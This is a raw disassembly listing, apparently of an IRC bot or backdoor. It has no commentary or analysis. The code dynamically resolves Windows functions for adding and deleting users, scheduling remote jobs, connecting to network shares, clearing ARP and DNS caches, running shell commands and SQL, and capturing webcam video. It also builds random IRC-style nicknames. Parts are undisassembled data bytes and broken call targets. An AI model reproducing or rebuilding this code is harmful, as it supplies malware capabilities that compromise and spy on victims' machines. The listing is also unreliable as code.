"NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call near ptr 2660DCFh nop mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2660DCFh mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 2660DCFh mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2660DCFh mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2660DCFh mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 2660DCFh nop mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2660DCFh mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 2670D93h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 69h, 60h ; --------------------------------------------------------------------------- add dl, es:[eax-18h] test al, 0Bh add [eax], eax mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2670D93h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 2670D93h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi nop call near ptr 26A0000h movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2670D93h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26B0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26B05F7h nop call near ptr 2670D93h push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2670D93h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2B4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, 